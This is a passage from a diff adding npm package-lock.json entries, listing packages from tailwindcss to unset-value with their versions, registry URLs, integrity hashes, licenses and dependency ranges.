"https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.1.6.tgz", + "integrity": "sha512-7skAOY56erZAFQssT1xkpk+kWt2NrO45kORlxFPXUt3CiGsVPhH1smuH5XoDH6sGPXLyBv+zgCKA2HWBsgCytg==", + "license": "MIT", + "dependencies": { + "arg": "^5.0.2", + "chokidar": "^3.5.3", + "color-name": "^1.1.4", + "detective": "^5.2.1", + "didyoumean": "^1.2.2", + "dlv": "^1.1.3", + "fast-glob": "^3.2.11", + "glob-parent": "^6.0.2", + "is-glob": "^4.0.3", + "lilconfig": "^2.0.5", + "normalize-path": "^3.0.0", + "object-hash": "^3.0.0", + "picocolors": "^1.0.0", + "postcss": "^8.4.14", + "postcss-import": "^14.1.0", + "postcss-js": "^4.0.0", + "postcss-load-config": "^3.1.4", + "postcss-nested": "5.0.6", + "postcss-selector-parser": "^6.0.10", + "postcss-value-parser": "^4.2.0", + "quick-lru": "^5.1.1", + "resolve": "^1.22.1" + }, + "bin": { + "tailwind": "lib/cli.js", + "tailwindcss": "lib/cli.js" + }, + "engines": { + "node": ">=12.13.0" + }, + "peerDependencies": { + "postcss": "^8.0.9" + } + }, + "node_modules/tailwindcss/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/tapable": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/tape": { + "version": "4.17.0", + "resolved": "https://registry.npmjs.org/tape/-/tape-4.17.0.tgz", + "integrity": "sha512-KCuXjYxCZ3ru40dmND+oCLsXyuA8hoseu2SS404Px5ouyS0A99v8X/mdiLqsR5MTAyamMBN7PRwt2Dv3+xGIxw==", + "license": "MIT", + "dependencies": { + "@ljharb/resumer": "~0.0.1", + "@ljharb/through": "~2.3.9", + "call-bind": "~1.0.2", + "deep-equal": "~1.1.1", + "defined": "~1.0.1", + "dotignore": "~0.1.2", + "for-each": "~0.3.3", + "glob": "~7.2.3", + "has": "~1.0.3", + "inherits": "~2.0.4", + "is-regex": "~1.1.4", + "minimist": "~1.2.8", + "mock-property": "~1.0.0", + "object-inspect": "~1.12.3", + "resolve": "~1.22.6", + "string.prototype.trim": "~1.2.8" + }, + "bin": { + "tape": "bin/tape" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/temp-dir": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz", + "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/tempy": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tempy/-/tempy-0.6.0.tgz", + "integrity": "sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==", + "license": "MIT", + "dependencies": { + "is-stream": "^2.0.0", + "temp-dir": "^2.0.0", + "type-fest": "^0.16.0", + "unique-string": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/tempy/node_modules/type-fest": { + "version": "0.16.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.16.0.tgz", + "integrity": "sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==", + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/terminal-link": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-2.1.1.tgz", + "integrity": "sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==", + "license": "MIT", + "dependencies": { + "ansi-escapes": "^4.2.1", + "supports-hyperlinks": "^2.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/terser": { + "version": "5.34.1", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.34.1.tgz", + "integrity": "sha512-FsJZ7iZLd/BXkz+4xrRTGJ26o/6VTjQytUk8b8OxkwcD2I+79VPJlz7qss1+zE7h8GNIScFqXcDyJ/KqBYZFVA==", + "license": "BSD-2-Clause", + "dependencies": { + "@jridgewell/source-map": "^0.3.3", + "acorn": "^8.8.2", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/terser-webpack-plugin": { + "version": "5.3.10", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.10.tgz", + "integrity": "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w==", + "license": "MIT", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.20", + "jest-worker": "^27.4.5", + "schema-utils": "^3.1.1", + "serialize-javascript": "^6.0.1", + "terser": "^5.26.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.1.0" + }, + "peerDependenciesMeta": { + "@swc/core": { + "optional": true + }, + "esbuild": { + "optional": true + }, + "uglify-js": { + "optional": true + } + } + }, + "node_modules/terser/node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "license": "MIT" + }, + "node_modules/test-exclude": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", + "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", + "license": "ISC", + "dependencies": { + "@istanbuljs/schema": "^0.1.2", + "glob": "^7.1.4", + "minimatch": "^3.0.4" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==", + "license": "MIT" + }, + "node_modules/throat": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/throat/-/throat-6.0.1.tgz", + "integrity": "sha512-8hmiGIJMDlwjg7dlJ4yKGLK8EsYqKgPWbG3b4wjJddKNwc7N7Dpn08Df4szr/sZdMVeOstrdYSsqzX6BYbcB+w==", + "license": "MIT" + }, + "node_modules/throttleit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/throttleit/-/throttleit-1.0.0.tgz", + "integrity": "sha512-rkTVqu6IjfQ/6+uNuuc3sZek4CEYxTJom3IktzgdSxcZqdARuebbA/f4QmAxMQIxqq9ZLEUkSYqvuk1I6VKq4g==", + "dev": true, + "license": "MIT" + }, + "node_modules/through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==", + "dev": true, + "license": "MIT" + }, + "node_modules/thunky": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz", + "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==", + "license": "MIT" + }, + "node_modules/tiny-invariant": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.2.0.tgz", + "integrity": "sha512-1Uhn/aqw5C6RI4KejVeTg6mIS7IqxnLJ8Mv2tV5rTc0qWobay7pDUz6Wi392Cnc8ak1H0F2cjoRzb2/AW4+Fvg==", + "license": "MIT" + }, + "node_modules/tiny-warning": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/tiny-warning/-/tiny-warning-1.0.3.tgz", + "integrity": "sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA==", + "license": "MIT" + }, + "node_modules/tmp": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", + "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "rimraf": "^3.0.0" + }, + "engines": { + "node": ">=8.17.0" + } + }, + "node_modules/tmpl": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz", + "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==", + "license": "BSD-3-Clause" + }, + "node_modules/to-object-path": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz", + "integrity": "sha512-9mWHdnGRuh3onocaHzukyvCZhzvr6tiflAy/JRFXcJX0TjgfWA9pk9t8CMbzmBE4Jfw58pXbkngtBtqYxzNEyg==", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-object-path/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-regex": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz", + "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "regex-not": "^1.0.2", + "safe-regex": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "license": "MIT", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/toposort": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/toposort/-/toposort-2.0.2.tgz", + "integrity": "sha512-0a5EOkAUp8D4moMi2W8ZF8jcga7BgZd91O/yabJCFY8az+XSzeGyTKs0Aoo897iV1Nj6guFq8orWDS96z91oGg==", + "license": "MIT" + }, + "node_modules/tough-cookie": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz", + "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "psl": "^1.1.28", + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/tr46": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-2.1.0.tgz", + "integrity": "sha512-15Ih7phfcdP5YxqiB+iDtLoaTz4Nd35+IiAv0kQ5FNKHzXgdWqPoTIqEDDJmXceQt4JZk6lVPT8lnDlPpGDppw==", + "license": "MIT", + "dependencies": { + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tryer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/tryer/-/tryer-1.0.1.tgz", + "integrity": "sha512-c3zayb8/kWWpycWYg87P71E1S1ZL6b6IJxfb5fvsUgsf0S2MVGaDhDXXjDMpdCpfWXqptc+4mXwmiy1ypXqRAA==", + "license": "MIT" + }, + "node_modules/tsconfig-paths": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.14.1.tgz", + "integrity": "sha512-fxDhWnFSLt3VuTwtvJt5fpwxBHg5AdKWMsgcPOOIilyjymcYVZoCQF8fvFRezCNfblEXmi+PcM1eYHeOAgXCOQ==", + "license": "MIT", + "dependencies": { + "@types/json5": "^0.0.29", + "json5": "^1.0.1", + "minimist": "^1.2.6", + "strip-bom": "^3.0.0" + } + }, + "node_modules/tsconfig-paths/node_modules/json5": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "license": "MIT", + "dependencies": { + "minimist": "^1.2.0" + }, + "bin": { + "json5": "lib/cli.js" + } + }, + "node_modules/tsconfig-paths/node_modules/strip-bom": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", + "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "license": "0BSD" + }, + "node_modules/tsutils": { + "version": "3.21.0", + "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-3.21.0.tgz", + "integrity": "sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==", + "license": "MIT", + "dependencies": { + "tslib": "^1.8.1" + }, + "engines": { + "node": ">= 6" + }, + "peerDependencies": { + "typescript": ">=2.8.0 || >= 3.2.0-dev || >= 3.3.0-dev || >= 3.4.0-dev || >= 3.5.0-dev || >= 3.6.0-dev || >= 3.6.0-beta || >= 3.7.0-dev || >= 3.7.0-beta" + } + }, + "node_modules/tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "safe-buffer": "^5.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA==", + "dev": true, + "license": "Unlicense" + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-detect": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/type-fest": { + "version": "0.21.3", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", + "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "license": "MIT", + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/typed-array-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.2.tgz", + "integrity": "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "es-errors": "^1.3.0", + "is-typed-array": "^1.1.13" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/typed-array-byte-length": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.1.tgz", + "integrity": "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "has-proto": "^1.0.3", + "is-typed-array": "^1.1.13" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-byte-offset": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.3.tgz", + "integrity": "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw==", + "license": "MIT", + "dependencies": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.7", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "has-proto": "^1.0.3", + "is-typed-array": "^1.1.13", + "reflect.getprototypeof": "^1.0.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-length": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.7.tgz", + "integrity": "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "is-typed-array": "^1.1.13", + "possible-typed-array-names": "^1.0.0", + "reflect.getprototypeof": "^1.0.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typedarray-to-buffer": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", + "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", + "license": "MIT", + "dependencies": { + "is-typedarray": "^1.0.0" + } + }, + "node_modules/typescript": { + "version": "4.7.4", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.7.4.tgz", + "integrity": "sha512-C0WQT0gezHuw6AdY1M2jxUO83Rjf0HP7Sk1DtXj6j1EwkQNZrHAg2XPWlq62oqEhYvONq5pkC2Y9oPljWToLmQ==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/ufo": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/ufo/-/ufo-1.5.4.tgz", + "integrity": "sha512-UsUk3byDzKd04EyoZ7U4DOlxQaD14JUKQl6/P7wiX4FNvUfm3XL246n9W5AmqwW5RSFJ27NAuM0iLscAOYUiGQ==", + "license": "MIT" + }, + "node_modules/unbox-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.2.tgz", + "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "has-bigints": "^1.0.2", + "has-symbols": "^1.0.3", + "which-boxed-primitive": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/undoo": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/undoo/-/undoo-0.5.0.tgz", + "integrity": "sha512-SPlDcde+AUHoFKeVlH2uBJxqVkw658I4WR2rPoygC1eRCzm3GeoP8S6xXZVJeBVOQQid8X2xUBW0N4tOvvHH3Q==", + "license": "MIT", + "dependencies": { + "defaulty": "^2.1.0", + "fast-deep-equal": "^1.0.0" + } + }, + "node_modules/undoo/node_modules/fast-deep-equal": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz", + "integrity": "sha512-fueX787WZKCV0Is4/T2cyAdM4+x1S3MXXOAhavE1ys/W42SHAPacLTQhucja22QBYrfGw50M2sRiXPtTGv9Ymw==", + "license": "MIT" + }, + "node_modules/unicode-canonical-property-names-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz", + "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", + "license": "MIT", + "dependencies": { + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-value-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.0.0.tgz", + "integrity": "sha512-7Yhkc0Ye+t4PNYzOGKedDhXbYIBe1XEQYQxOPyhcXNMJ0WCABqqj6ckydd6pWRZTHV4GuCPKdBAUiMc60tsKVw==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-property-aliases-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.0.0.tgz", + "integrity": "sha512-5Zfuy9q/DFr4tfO7ZPeVXb1aPoeQSdeFMLpYuFebehDAhbuevLs5yxSZmIFN1tP5F9Wl4IpJrYojg85/zgyZHQ==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/union": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/union/-/union-0.5.0.tgz", + "integrity": "sha512-N6uOhuW6zO95P3Mel2I2zMsbsanvvtgn6jVqJv4vbVcz/JN0OkL9suomjQGmWtxJQXOCqUJvquc1sMeNz/IwlA==", + "dev": true, + "dependencies": { + "qs": "^6.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/union-value": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz", + "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==", + "dev": true, + "license": "MIT", + "dependencies": { + "arr-union": "^3.1.0", + "get-value": "^2.0.6", + "is-extendable": "^0.1.1", + "set-value": "^2.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/union-value/node_modules/is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unique-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz", + "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==", + "license": "MIT", + "dependencies": { + "crypto-random-string": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/unload": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/unload/-/unload-2.2.0.tgz", + "integrity": "sha512-B60uB5TNBLtN6/LsgAf3udH9saB5p7gqJwcFfbOEZ8BcBHnGwCf6G/TGiEqkRAxX7zAFIUtzdrXQSdL3Q/wqNA==", + "license": "Apache-2.0", + "dependencies": { + "@babel/runtime": "^7.6.2", + "detect-node": "^2.0.4" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/unquote": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/unquote/-/unquote-1.1.1.tgz", + "integrity": "sha512-vRCqFv6UhXpWxZPyGDh/F3ZpNv8/qo7w6iufLpQg9aKnQ71qM4B5KiI7Mia9COcjEhrO9LueHpMYjYzsWH3OIg==", + "license": "MIT" + }, + "node_modules/unset-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz", + "integrity": 